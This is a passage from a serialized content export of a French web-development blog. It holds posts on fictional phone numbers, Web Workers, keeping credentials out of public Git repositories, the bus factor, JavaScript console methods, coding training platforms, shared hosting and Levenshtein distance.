xx xx\n* 06 39 98 xx xx\n\n**Vous pouvez utiliser n'importe quel numéro tiré de ces préfixes à volonté**, et si vous voulez vous assurer de la légalité du procédé, je vous mets en lien la page de l'article de loi en question sur **Legifrance** :\n\n::: bookmark\n[![](https://www.legifrance.gouv.fr/contenu/logo-mobile-rf)Article - Décision n° 2018-0881 du 24 juillet 2018 de l’Autorité de régulation des communications électroniques et des postes établissant le plan national de numérotation et ses règles de gestion - Légifrance](https://www.legifrance.gouv.fr/jorf/article_jo/JORFARTI000037263033)\n:::\n\n## Encore plus...\n\nPour plus de données fictives, vous pouvez aussi utiliser l'API [https://randomuser.me](https://randomuser.me) présentée dans notre article \"**[13 APIs de données gratuites et puissantes pour vos applications](https://code-garage.fr/blog/apis-gratuites-puissantes-pour-projets-applications-site-web/)**\"\n\n","Saviez-vous que le numéro 06.39.98.31.10 ne sera jamais attribué à personne ?","email-url-et-telephone-fictifs-et-legaux-pour-vos-formulaires-2","2020-12-17T07:31:53.000Z","2023-09-19T15:05:38.651Z","2020-12-17T09:18:24.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/bart-anestin-QcMDX7ucPzs-unsplash.jpg","Bart Anestin sur Unsplash","https://unsplash.com/@banestin?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1195,"title":1196,"content":1197,"socialTitle":8,"description":1198,"socialDescription":8,"slug":1199,"createdAt":1200,"updatedAt":1201,"publishedAt":1202,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1203,"coverCopyright":1204,"coverCopyrightLink":1205},153,"Qu'est-ce qu'un Web Worker et comment s'en servir ?","Pour bien comprendre ce qu'est un Web Worker, il faut d'abord comprendre **comment Javascript utilise la capacité de calcul de votre processeur central**.\n\nVotre CPU (Central Processing Unit) est **le circuit intégré dans votre machine qui va effectuer tous les calculs et opérations** demandé par le système, les applications et autres.\n\n> À l'exception des calculs de rendus graphiques qui sont en partie délégués à votre GPU, aussi appelé carte graphique.\n\n**Un CPU est décomposé en plusieurs coeurs** (pour la plupart) qui vont chacun travailler de manière simultanée mais physiquement indépendante, comme si votre machine était équipée de plusieurs processeurs distincts.\n\nChaque cœur va alors découper ses flux de calculs en différents threads : **un thread est une séquence d'instructions qui peut être exécutée de manière indépendante** du reste de manière logique (et non plus physique).\n\n**Javascript est un langage \"single-threaded\", signifiant qu'il n'utilise qu'un seul et unique thread pour toute son exécution** (sa boucle d'évènement et sa pile mémoire), ce qui signifie que si l'on exécute un calcul prenant beaucoup de ressource, toute l'application risque de ne plus répondre pendant un certains temps, jusqu'à ce que le navigateur vous propose d'arrêter le script bloquant.\n\nMais heureusement, **les web workers sont là** pour résoudre ce problème !\n\n## Explications\n\n**Un worker est donc un script que le navigateur va exécuter dans un thread séparé du thread principal** (gérant l'application Javascript ainsi que l'UI de la page) afin de conserver toutes les performances de la page.\n\nComme **le worker travaille dans un environnement séparé**, il ne peut communiquer de manière direct avec l'application Javascript et toutes les communications devront donc passer par des évènements.\n\n**Il est important de comprendre que le worker n'a pas accès à la page** et est uniquement dédié à du calcul, de la gestion d'entrées/sorties (I/O) ou des traitement de données en dehors de toute interaction graphique.\n\nPar exemple **la variable window globale ne sera jamais accessible** depuis un worker, mais la Web API XMLHTTPRequest reste, elle, accessible.\n\n> Pour des informations plus détaillées, je vous conseiller d'aller consulter [**la documentation sur le site de Mozilla**](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API)\n\nMaintenant passons à la pratique avec un exemple !\n\n## En pratique\n\n**Nous allons découvrir comment créer un web worker et comment gérer la communication entre le worker et le script principal**, vous allez voir que la démarche est très simple.\n\n### Création du web worker\n\n```\n//main.js\n\n/* Checks if Web Worker feature is available */\nif (window.Worker) {\n /* Loads the dedicated script into a new thread */\n let myWorker = new Worker('worker.js');\n //...\n} else {\n alert(\"Web Worker not available\");\n}\n```\n\n### Communication avec le web worker\n\n**Toute la communication fonctionne par des évènements**, que ce soit pour envoyer des données ou demander au worker d'effectuer une tâche précise.\n\n```\n//main.js\n\n/* After myWorker is initialized we start listening to any data coming from the worker */\n\nmyWorker.onmessage = function(e) {\n console.log('Message received from worker:',e.data;);\n}\n\n/* To pass data/instructions to the worker, simply do */\nmyWorker.postMessage(\"do_something\");\n```\n\n```\n//worker.js\n\nonmessage = function(e) {\n console.log('Message received from main script:', e.data);\n}\n\n/* Following message will be sent as soon as the worker is started */\npostMessage(\"worker_initialized\");\n```\n\n### Cloturer le web worker\n\nLorsque vous aurez terminé d'utiliser votre web worker, **vous pourrez terminer son exécution** en appelant la méthode suivante :\n\n```\nmyWorker.terminate();\n```\n\n### Un exemple concret\n\nSi pour complètement comprendre l'utilité des web workers vous avez besoin d'un exemple concret, **je vous ai préparé [un dépôt Github](https://github.com/NicolasBrondin/basic-web-worker-extension) avec [une démo en ligne](https://nicolasbrondin.github.io/basic-web-worker-extension/).**\n\n**Cette démo consiste en un calcul simple mais lourdement implémenté, exécutable avec ou sans web worker** pour que vous voyez bien la différence : [https://nicolasbrondin.github.io/basic-web-worker-extension/](https://nicolasbrondin.github.io/basic-web-worker-extension/)\n\n> N'hésitez pas à réutiliser le code source pour implémenter votre propre worker de manière simple !\n\n_J'espère que cet article vous aura été utile, et à bientôt sur le blog._\n\n","Comment lancer de gros calculs en Javascript sans faire planter le navigateur.","qu-est-ce-qu-un-web-worker-et-comment-s-en-servir","2020-12-18T11:14:09.000Z","2023-09-19T15:05:38.687Z","2022-01-06T07:21:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/01/henry-co-3coKbdfnAFg-unsplash.jpg","Henry & Co. sur Unsplash","https://unsplash.com/@hngstrm?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1207,"title":1208,"content":1209,"socialTitle":8,"description":1210,"socialDescription":8,"slug":1211,"createdAt":1212,"updatedAt":1213,"publishedAt":1214,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1215,"coverCopyright":1216,"coverCopyrightLink":1217},154,"L'erreur à ne surtout pas faire dans un dépôt Git public","Récemment, j'ai aidé un développeur débutant qui ne comprenait pas pourquoi **son hébergeur avait bloqué ses accès SMTP** et pourquoi il recevait des dizaines d'e-mails avec \"échec de l'envoi, mauvais destinataire\" pour des messages qu'il n'avait pas envoyé.\n\nAprès avoir éliminé quelques possibilités, je lui ai fait comprendre qu'**il avait envoyé son fichier de configuration par erreur sur son dépôt Git public**, lequel contenait les identifiants de connexion à son serveur SMTP.\n\nSi vous pensez que cette pratique est rare, laissez-moi vous dire que je l'ai vu bien des fois se produire, que ce soit chez des débutants par manque de compréhension, ou **chez des développeurs plus expérimentés par une faute d’inattention.**\n\nC'est une erreur si fréquente que **de nombreux robots malveillants parcourent sans cesse les dépôts publics Github à la recherche d'une clé d'API**, d'un identifiant ou d'un mot de passe dans les fichiers de configuration ou directement dans le code.\n\n> Pour contrer ces robots, **certains hébergeurs cloud (notamment AWS) utilisent leur propre bot pour traquer ces clés** misent en publique pour les désactiver afin d'éviter tout mauvaise surprise à leur utilisateur.\n\n## Les bonnes pratiques\n\nLa solution pour éviter toute mésaventure avec ses données de configuration s'appelle **les \"variables d'environnement\".**\n\n> Les variables d'environnement sont des variables classiques, comme dans la programmation, mais au lieu d'être accessible par un seul logiciel, **elles sont disponibles globalement pour tout le système d'exploitation**.\n\nL'idée derrière tout ça est de **ne jamais partager ces variables de configuration entre vos différents environnements** (local, dev, production,...), et surtout pas dans votre dépôt Git.\n\nL'accès à une variable d'environnement va dépendre du langage que vous allez utiliser, par exemple en Javascript (NodeJS), vous devrez faire \"**process.env.MY\\_VARIABLE**\" alors qu'en PHP vous ferez \"**getenv('MY\\_VARIABLE')**\".\n\nMais avant d'utiliser une variable d'environnement, il va falloir l'initialiser, et pour celà nous avons deux solutions :\n\n### Configuration de l'hébergeur\n\n**De plus en plus d'hébergeurs cloud proposent de configurer les variables d'environnement directement depuis le panneau d'administration** de l'application, c'est notamment le cas pour AWS, Heroku, Clever Cloud et bien d'autres...\n\n**Si votre hébergeur propose cette solution, je vous recommande fortement de l'utiliser**, car c'est la manière la plus sécurisée. Aucun fichier à déplacer ou à copier, et une fois que ces variables sont définies, vous n'avez plus à y toucher, elles seront toujours là pour tous vos déploiements.\n\n### La bibliothèque dotenv\n\nJe recommande l'utilisation de cette bibliothèque **soit pour votre environnement de développement local, soit si votre hébergeur ne propose pas la gestion des variables** d'environnement dans l'administration.\n\n**\"dotenv\" permet d'injecter les variables d'environnement directement à partir d'un fichier de déclaration normalisé (.env)**, ce qui permet de faire abstraction du système d'exploitation (Windows a une syntaxe différente pour initialiser une variable d'environnement).\n\n* dotenv en php : [https://github.com/vlucas/phpdotenv](https://github.com/vlucas/phpdotenv)\n* dotenv en javascript : [https://www.npmjs.com/package/dotenv](https://www.npmjs.com/package/dotenv)\n\n> Mais alors il n'y a pas de risque d'ajouter ce fichier dans le dépôt Github ?\n\n**Effectivement ce fichier doit absolument rester en dehors de vos commits**, même si votre dépôt est privé (c'est plus sûr) et l'idéal est de le déposer vous-même sur chacun des environnements de déploiement sans passer par Git.\n\nP**our être sûr de l'exclure du dépôt Git je vous invite à ajouter simplement .env à votre fichier .gitignore**, de cette façon Git ne verra même pas que ce fichier existe !\n\n> ","Vous ne donneriez pas votre mot de passe sur Twitter ? Alors pourquoi le faire sur Github ?","erreur-a-ne-surtout-pas-faire-dans-un-depot-git-public","2020-12-21T07:12:34.000Z","2023-09-19T15:05:38.715Z","2020-12-21T09:21:55.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/olivier-guillard-FKJgBUDoVC0-unsplash.jpg","Olivier Guillard sur Unsplash","https://unsplash.com/@olivier_twwli?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":33,"title":1219,"content":1220,"socialTitle":8,"description":1221,"socialDescription":8,"slug":1222,"createdAt":1223,"updatedAt":1224,"publishedAt":1225,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1226,"coverCopyright":1227,"coverCopyrightLink":1228},"Qu'est-ce que le «bus factor» dans un projet tech ?","Lorsque l'on vise le long terme pour un projet technique, **on se confronte à tous les sujets autour de la pérennité du projet** telle que la dette technique, la qualité et la robustesse du code, mais également d'un facteur trop souvent négligé : le \"bus factor\".\n\nCe \"facteur\" est en réalité un indice de la robustesse d'un projet, non pas technique, **mais en termes de ressources humaines et de partage de connaissances.**\n\n> Ce facteur rentre en jeu par exemple lors de la démission ou le décès soudain (comme se faire écraser par un bus) d'un ou plusieurs contributeurs clés du projet.\n\nLe \"bus factor\" **tient compte des personnes clés ou irremplaçables dans un projet** (ou une entreprise). Est considéré comme tel un contributeur qui :\n\n* A **accès à des informations/fichiers critiques** pour le bon déroulé du projet\n* **Possède des accès ou des clés de chiffrement** globalement non partagés et sans moyens de récupération\n* Est à **l'origine de la création d'un composant logiciel clé non-documenté** ou rendu illisible (obfusaction)\n\nPour chaque personne remplissant au moins un des critères ci-dessus, le bus factor est augmenté de 1, **plus ce chiffre est élevé et plus le projet aura de chance de survivre à la \"disparition\" de l'un des collaborateurs.** Le facteur le plus critique est de 1 et signifie que le projet pourrait être complètement arrêté si cette personne venait ne serait-ce qu'à tomber malade, partir en congé subitement ou démissionner.\n\n**Le \"bus factor\" est vu comme un goulot d'étranglement** et doit être considéré (et calculé) pour chaque étape d'un projet, exemple :\n\nS'il existe 4 contributeurs clés pour la partie front-end, 3 contributeurs clés pour la partie back-end et 1 seul contributeur clé pour la gestion de la base de données, **alors le \"bus factor\" global du projet est égal à 1, soit le plus petit facteur parmi les étapes vitales du projet.**\n\n## Comment améliorer son \"bus factor\" ?\n\nLa réduction des risques liés à ce facteur tient en un seul principe majeur : **le partage d'informations**.\n\nEn effet, dans une équipe où tous les membres ont accès à **la même source d'informations**, lorsque **le code est compris** par tous, **documenté** et que les **informations sécurisées sont soumises à une stratégie de récupération** en cas d'incident, alors le bus factor est exactement **égal au nombre total de membres de l'équipe.**\n\nEn **formant ses équipes de manières transversales** (sur tous les sujets techniques du projet), en tenant **une documentation à jour** (et des tests), le tout en **découplant suffisamment tous les composants logiciels** afin d'en faire baisser la complexité pour que l'ensemble du projet soit compréhensible à tous, alors, même s'il n'existe pas de risque zéro, **il sera très difficile de mettre le projet en péril.**\n\n## Dans d'autres contextes\n\nCe facteur de pérennité est également valable dans des contextes d'entreprise hors-numérique, tant que **des connaissances métier importantes sont requises pour le bon fonctionnement du projet ou de l'entreprise.**\n\nIl existe même, au sein de certaines grosses entreprises industrielles mondiales, des règles concernant **le déplacement d'un grand nombre d'employés**. Lorsque ces derniers doivent prendre l'avion vers une même destination par exemple, ils sont répartis sur plusieurs vols différents en cas de drame.\n\n","Quelles seraient les conséquences si vous disparaissiez du projet du jour au lendemain ?","qu-est-ce-que-le-bus-factor-gestion-de-projet","2020-12-23T05:15:05.000Z","2023-09-19T15:05:38.780Z","2022-01-13T06:40:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/01/thomas-reaubourg-dCB9aQNydM8-unsplash.jpg","Thomas Reaubourg sur Unsplash","https://unsplash.com/@thomasreaubourg?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1230,"title":1231,"content":1232,"socialTitle":8,"description":8,"socialDescription":8,"slug":1233,"createdAt":1234,"updatedAt":1235,"publishedAt":1236,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1237,"coverCopyright":8,"coverCopyrightLink":8},159,"4 méthodes à connaitre sur l'API console en Javascript","Dans cette liste je ne vais pas vous faire l'affront de vous présenter des méthodes comme console.log(), console.warn() ou encore console.error().\n\nÀ la place je vais vous présenter des méthodes qui peuvent vous faire gagner du temps lors de vos phase de debug, soit en vous offrant une mise en forme plus facile à lire, soit en vous donnant accès à des informations spécifiques.\n\nC'est parti pour découvrir 4 méthodes de l'API Console en Javascript !\n\n## console.time\n\nCette méthode vous permet de mesurer le temps d'exécution (en ms) d'un bloc de code que vous aurez défini et de l'afficher directement dans la console.\n\nCette méthode vous permet d'éviter de créer un timer en Javascript simplement pour du debuggage et de l'optimisation.\n\n```\nconsole.time(\"test-alert\");\nalert(\"Waiting...\"); //Alerting stops the execution but timer keeps running\nconsole.timeEnd(\"test-alert\");\n\n/*\nResult :\ntest-alert : 3145ms - timer ended\n*/\n```\n\n> Lien vers la documentation MDN : [https://developer.mozilla.org/en-US/docs/Web/API/Console/trace](https://developer.mozilla.org/en-US/docs/Web/API/Console/trace)\n\n## console.table\n\nLorsque vous voulez afficher le contenu d'un petit tableau à une dimension dans la console, un simple log peut suffire, mais lorsque vous avez des dizaines de colonnes, il devient intéressant de pouvoir visionner l'index relatif à chaque colonne.\n\nEncore mieux, si vous travaillez avec des tableaux avec deux dimensions, la possibilité d'afficher le résultat sous la forme d'un vrai tableau devient alors presque magique !\n\n```\nlet 2dArray = [[1,2,3],[4,5,6]];\nconsole.table(2dArray);\n\n/*\nResult :\n┌─────────┬───┬───┬───┐\n│ (index) │ 0 │ 1 │ 2 │\n├─────────┼───┼───┼───┤\n│ 0 │ 1 │ 2 │ 3 │\n│ 1 │ 4 │ 5 │ 6 │\n└─────────┴───┴───┴───┘\n*/\n```\n\n> Lien vers la documentation MDN : [https://developer.mozilla.org/en-US/docs/Web/API/Console/trace](https://developer.mozilla.org/en-US/docs/Web/API/Console/trace)\n\n## console.trace\n\nLa \"stack trace\" correspond à la liste de toutes les fonctions appelées précédemment afin d'arriver à une ligne de code en question.\n\nLa trace s'affiche automatiquement lorsque vous utilisez la méthode error() sur un objet de type Error, mais ici vous pouvez choisir de l'afficher même sans avoir à générer une erreur !\n\n```\n/* Previous Code */\nconsole.trace();\n/* Next code */\n\n/*\nResult :\nTrace\n at repl:1:9\n at Script.runInThisContext (vm.js:116:20)\n at REPLServer.defaultEval (repl.js:404:29)\n at bound (domain.js:420:14)\n at REPLServer.runBound [as eval] (domain.js:433:12)\n at REPLServer.onLine (repl.js:715:10)\n at REPLServer.emit (events.js:215:7)\n at REPLServer.EventEmitter.emit (domain.js:476:20)\n at REPLServer.Interface._onLine (readline.js:316:10)\n at REPLServer.Interface._line (readline.js:693:8)\n*/\n```\n\n> Lien vers la documentation MDN : [https://developer.mozilla.org/en-US/docs/Web/API/Console/trace](https://developer.mozilla.org/en-US/docs/Web/API/Console/trace)\n\n## console.group\n\nCette méthode vous permet de grouper plusieurs logs afin de les repérer plus facilement, mais aussi de les réduire tous en un clic.\n\nL'affichage dépend de l'environnement, en NodeJS, les groupes seront simplement représentés par des indentations, tandis qu'ils seront intéractifs dans certains navigateurs.\n\n```\nconsole.group();\nconsole.log(\"group-1\");\nconsole.group();\nconsole.log(\"sub-group-1\");\nconsole.group();\nconsole.log(\"sub-sub-group-1\");\nconsole.log(\"sub-sub-group-2\");\nconsole.groupEnd();\nconsole.groupEnd();\nconsole.groupEnd();\n\n/*\n\nResult :\n| group-1 ▼\n| sub-group-1 ▼\n| sub-sub-group-1\n| sub-sub-group-2\n\n*/\n```\n\n> Lien vers la documentation MDN : [https://developer.mozilla.org/en-US/docs/Web/API/Console/group](https://developer.mozilla.org/en-US/docs/Web/API/Console/group)","methodes-a-connaitre-api-console-javascript","2020-12-29T09:05:32.000Z","2023-09-22T13:51:22.609Z","2020-12-29T10:28:17.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/bailey-zindel-NRQV-hBF10M-unsplash-1--1.jpg",{"id":1239,"title":1240,"content":1241,"socialTitle":8,"description":1242,"socialDescription":8,"slug":1243,"createdAt":1244,"updatedAt":1245,"publishedAt":1246,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1247,"coverCopyright":1076,"coverCopyrightLink":1077},161,"5 best online code training platforms","## CodinGame\n\n### Type : Algorithmic (any language)\n\nTo me, CodinGame is THE perfect training platform because of two of its advantages : the gamification and the variety of challenge types.\n\nThe majority of exercises are available as games, each time introduction a situation and a problemto solve with code. From landing on Mars through dual-fighting to flying a spaceship, all games are wonderful.\n\nAs different challenge types, you'll find competitions (a couple of hours with a leaderboard and partner companies offering positions and internships), classical exercises as games but also some \"Clash of Code\" which are super-fast challenges with specific rules (shortest code le plus court, fastest,...).\n\n> Anyway, go for it!\n\n_Link: [**https://www.codingame.com/**](https://www.codingame.com/)_\n\n## Codewars\n\n### Type : Algorithmic (any language)\n\nHow Codewars works is pretty similar to CodinGame, except that the gamification is not put forward but is putting a lot of effort into the learning progress tracking, that is why this platform is used by a lot of schools and bootcamps.\n\nOn Codewars you won't do any \"challenge\" but \"katas\" like in martial arts, and even if the progress tracking is interesting, the only reproach I can formulate against the platform is to have a slightly complicated (at least non-simple enough) user interface, which makes the navigation a bit harsh sometimes.\n\n> But it's worth it !\n\n_Link: [**https://www.codewars.com**](https://www.codewars.com)_\n\n## Leekwar/\n\n### Type : Game and Artifical Intelligence\n\nLeekwars is not a gamified training platform, it's purely and simply a competitive game based on programming. The goal is to program the artificial intelligence of your character yourself (a leek warrior) in order for it to win battles (turn-based) against other players AIs.\n\nThe game is easy at first but it gets way more complex as your leeks earns more experience and requires quite an algorithmic mastery to progress. The programming language is platform-specific, the Leekscript and looks like any loosely-typed language, you will learn it quite easily!\n\n> Shoutout for the french creators of the platform\n\n_Link: [**https://leekwars.com/**](https://leekwars.com/)_\n\n## CSSBattle\n\n### Type : HTML & CSS\n\nThe concept of CSSBattle is simple : you must exactly reproduce the given example by writing HTML and CSS code, using the smallest number of characters.\n\nYour final score will be computed according to the number of characters used and the resemblance with the given example, you will then appear in the challenge leaderboard.\n\n> The website is well-designed and works like a charm!\n\n_Link: [**https://cssbattle.dev/**](https://cssbattle.dev/)_\n\n## Root Me\n\n### Type : Sécurité\n\nRoot Me is well-known in the cybersecurity world because it's a very complete training platform with around 400 challenges grouped into numerous categories and different levels of expertise.\n\nThe first exercises are quite accessible and includes unavoidable security concepts, specifically for web developers, and the level escalate quickly with documentation to read and complex concepts to study.\n\n> I think that if you want to improve you knowledge in security, this is the best platform!\n\n_Link: [**https://www.root-me.org**](https://www.root-me.org)_","Willing to train yourself to coding, algorithmic, css or even security? I've got everything you need!","best-online-code-training-platforms","2020-12-30T06:49:22.000Z","2023-09-22T13:51:40.098Z","2020-12-30T08:15:50.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/paul-esch-laurent-6MeMUw5KDss-unsplash-1.jpg",{"id":1249,"title":1250,"content":1251,"socialTitle":8,"description":1252,"socialDescription":8,"slug":1253,"createdAt":1254,"updatedAt":1255,"publishedAt":1256,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1257,"coverCopyright":1258,"coverCopyrightLink":1259},164,"Qu'est-ce qu'un hébergement web mutualisé ?","**Lorsque vous faites de l'hébergement web, vous avez plusieurs solutions** (portant parfois des noms un peu cryptiques pour les débutants), vous pouvez louer un serveur physique (dédié), un serveur virtuel ([un VPS](https://code-garage.fr/blog/exlpication-qu-est-ce-qu-un-serveur-vps/), une place partagé sur un serveur, mais avec votre OS complet à disposition), ou encore un hébergement web mutualisé.\n\nEn louant un hébergement web mutualisé, **vous ne louez ni une machine, ni une place sur une machine, mais vous louez un accès sur un OS partagé entre plusieurs utilisateurs**, lui-même partagé entre plusieurs machines virtuelles.\n\n> Techniquement ça ne fonctionne pas toujours comme ça, mais j'essaye de simplifier au maximum.\n\n**C'est un peu comme lorsque vous créez un nouvel utilisateur sur le vieil ordinateur de vos parents**, vous pouvez ajouter de nouveaux logiciels et de nouveaux fichiers, tant que ces derniers ne demandent pas de droits administrateurs.\n\nEt bien pour un hébergement mutualisé, **vous louez un compte utilisateur avec des droits limités, des logiciels pré-installé (serveur web)**, et des ressources partagées entre plusieurs utilisateurs.\n\n## Les spécificités\n\n**Les hébergements web mutualisés sont plutôt recommandés pour des sites à faible ou moyen trafic** et n'ayant pas besoin de beaucoup de ressources pour fonctionner.\n\n**Ils ne sont en général pas recommandés pour un usage professionnel, car il est rare que l'hébergeur mette un point d'honneur à ce que le service soit parfaitement stable 100% du temps** et selon le prestataire, il arrive que les hébergements mutualisés soient sujets à des micro-coupures de temps en temps.\n\n### Avantages\n\n**L'avantage indéniable des hébergements mutualisés reste le prix très attractif.** Vous pouvez sans problème héberger un ou plusieurs sites pour **3 à 4€ par mois seulement** (hors nom de domaine) en bénéficiant d'une base MySQL, d'un moteur PHP, de quelques Go de stockage ainsi que d'un accès FTP.\n\n**Un tel hébergement est aussi plus facile à gérer**, car un panneau de configuration en ligne vous est automatiquement fourni, même si un accès SSH à la machine vous est parfois fourni, vous n'en aurez pas besoin pour mettre en place votre hébergement.\n\n_Attention tout de même, votre accès SSH est restreint à des actions très simples comme la création, lecture et suppression de fichier._\n\n> Normalement la gestion de la sauvegarde de vos fichiers est géré par votre hébergeur, mais c'est souvent une sauvegarde en cas d'incident technique sur le datacenter uniquement, et pas en cas d'erreur de votre part !\n\n### Inconvénients\n\nLes inconvénients majeurs sont :\n\n* La **performance limitée**\n* La **disponibilité du service** (micro-coupures)\n* L'obligation de travailler sur **une stack classique** (PHP, MySQL)\n* Le manque de **configuration** du serveur web\n\n## Quelques services\n\nLes services sélectionnés ci-dessous sont **soit Français, soit Européens et proposent de l'hébergement web mutualisé** en plus de nombreuses autres offres d'hébergement (dédié, cloud,...)  \n\n* [OVH](https://www.ovh.com/fr/)\n* [Ionos](https://www.ionos.fr) (anciennement 1&1)\n* [O2Switch](https://www.o2switch.fr/)\n* [PlanetHoster](https://www.planethoster.com)\n\n> Personnellement je n'ai utilisé que les deux premiers, mais j'ai souvent vu les deux derniers être recommandés par d'autres professionnels du web, je vous laisserai donc vous faire votre propre avis !\n\n## En conclusion\n\n**Les inconvénients de l'hébergement web mutualisé sont aussi ce qui fait sa force : la simplicité.**\n\nC'est clairement le type d'hébergement que je recommande à quelqu'un qui débute, et comme je pense que l'on ne comprend réellement les limitations d'un service qu'en l'utilisant soi-même : **foncez, testez, expérimentez !**\n\n**Et si vous n'êtes pas encore à l'aise avec les VPS**, [j'ai écrit un article à ce sujet disponible juste ici.](https://code-garage.fr/blog/exlpication-qu-est-ce-qu-un-serveur-vps/)\n\n","Mutualisé, Dédié, VPS, tant d'options pour héberger son site web, alors commençons par le plus simple !","qu-est-ce-qu-un-hebergement-web-mutualise","2021-01-04T20:10:37.000Z","2023-09-19T15:05:39.005Z","2021-01-05T08:22:45.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/01/science-in-hd-iPrjQEDnNEY-unsplash.jpg","Science in HD sur Unsplash","https://unsplash.com/@scienceinhd?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1261,"title":1262,"content":1263,"socialTitle":8,"description":1264,"socialDescription":8,"slug":1265,"createdAt":1266,"updatedAt":1267,"publishedAt":1268,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1269,"coverCopyright":1270,"coverCopyrightLink":1271},165,"Comment comparer deux chaînes de caractères contenant des fautes ?","Comparer deux strings est l'un des premiers exercices que l'on apprend à réaliser lorsque l'on étudie la programmation, mais **lorsque l'une de ces chaînes a été écrite par un humain, la tâche devient beaucoup plus compliqué.**\n\n**Normalement votre premier réflexe est d'effectuer deux opérations** avant d'utiliser l'opérateur de comparaison classique :\n\n* Passer les deux chaînes en minuscule pour **éviter tout problème de casse**\n* **Enlever tous les accents**\n\nEt c'est un bon début, mais en cas de faute d'orthographe ou de simple faute de frappe, **votre simple algorithme de comparaison ne sera plus suffisant.**\n\n**Alors comment faire comprendre à votre code que \"Titanic\" et \"Titanik\" sont bien équivalents entre eux?** Nous allons apprendre à faire cela grâce à un algorithme assez simple appelé \"distance de Levenshtein\".\n\n## La distance de Levenshtein\n\nLe fonctionnement de cet algorithme est simple à comprendre mais peut être très puissant si il est bien utilisé.\n\n### Le principe\n\n**L'algorithme consiste à comparer la distance entre deux chaines en fonction du nombre de transformations basiques** minimum à effectuer pour rendre les String similaires entre elles.\n\n**Ces transformations sont au nombre de trois**, lesquelles sont :\n\n* L'**ajout** d'un caractère\n* La **suppression** d'un caractère\n* Le **remplacement** d'un caractère\n\nPar exemple, pour rendre les chaînes \"developpeur\" et \"developers\" similaire **il faudra appliquer les transformations suivantes** au premier mot :\n\n* suppression du caractère \"p\" à la position 6\n* suppression du caractère \"u\" à la position 9\n* ajout du caractère \"s\" à la fin de la chaîne\n\nC**haque transformation ayant la même valeur (1) pour le calcul de la distance, il suffit d'additionner le nombre de transformations effectuées.** En l’occurrence, la distance de Levenshtein entre \"developpeur\" et \"developers\" est de 3.\n\n### Utilisation\n\nComme vous aurez pu le remarquer si l'on utilise seulement la distance de Levenshtein sans prendre le soin de transformer les chaînes de caractères au préalable, **l'algorithme prendra la casse ainsi que les accents en compte.**\n\nL'idéal est donc de commencer par ces deux transformations au préalable avant de calculer la distance entre les deux chaines, mais **il faut aussi réfléchir à la distance idéale pour laquelle on souhaite accepter une réponse ou non.**\n\nEn effet, **plus la distance acceptée est grande, plus votre code sera permissif et risque de laisser passer des faux-positifs**, et à l'inverse une distance acceptée trop courte risque d'écarter des mots pourtant très proches.\n\n> Par exemple un simple oubli de \"s\" est déjà égal à une distance de 1\n\nIl n'existe pas réellement de distance idéal, **tout dépend de la langue sur laquelle elle est appliquée ainsi que de la taille du mot d'origine**. Car oui une distance de 1 sur un mot de 3 lettres ou sur un mot de 10 lettres n'a pas réellement le même impact dans une mise en situation réelle.\n\n> C'est à vous de faire vos tests et de trouver la bonne manière d'utiliser cet algorithme.\n\n### Inconvénients\n\nOutre le fait qu'il n'existe pas de distance idéale, **le point de vigilance se situe surtout sur le type de données que vous souhaitez vérifier.**\n\nPar exemple dans le cadre d'un quiz, on imagine que les réponses \"chien\" ou \"chiens\" sont autant valides l'une que l'autre, mais **les réponses \"1968\" et \"1969\" n'ont pas du tout la même signification**, alors que toutes ces propositions ont la même distance de Levenshtein égale à 1.\n\n**Il ne faut donc pas appliquer cette distance sans prendre en compte le format des données que l'on attend en entrée** et bien réfléchir à la pertinence de cette méthode pour votre cas d'usage.\n\n### Implémentation en Javascript\n\nMême si le principe de cet algorithme est très simple à comprendre, **l'implémentation peut avoir un vrai rôle à jouer dans les performances** de ce dernier.\n\nJe vous mets donc le lien vers l'implémentation la plus efficiente en Javascript que vous pourrez inclure dans vos projets.\n\n::: bookmark\n[![](https://static.npmjs.com/338e4905a2684ca96e08c7780fc68412.png)fastest-levenshtein](https://www.npmjs.com/package/fastest-levenshtein)\n:::\n\n**Si vous développez dans un autre langage, ne vous inquiétez pas, vous trouverez forcément une implémentation** déjà existante et si vous êtes intéressé par le pseudo-code, vous en trouverez une version accessible à tous sur Wikipédia :\n\n[https://fr.wikipedia.org/wiki/Distance\\_de\\_Levenshtein#Algorithme](https://fr.wikipedia.org/wiki/Distance_de_Levenshtein#Algorithme)\n\n","ou comment faire comprendre à son code que \"aéroport\" et \"aréoport\" veulent dire la même chose.","comment-comparer-deux-chaines-de-caracteres-contenant-des-fautes-distance-levenshtein","2021-01-05T21:01:57.000Z","2023-09-19T15:05:39.035Z","2022-02-10T07:10:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/01/jon-tyson-8MMtYM_3xMY-unsplash.jpg","Jon Tyson sur Unsplash","https://unsplash.com/@jontyson?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1273,"title":1274,"content":1275,"socialTitle":8,"description":1276,"socialDescription":8,"slug":1277,"createdAt":1278,"updatedAt":1279,"publishedAt":1280,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1281,"coverCopyright":1282,"coverCopyrightLink":1283},172,"Un outil pour automatiser les screenshots de sites web","L'une des dernières étapes lorsque je publie un site ou une application sur le web, c'est 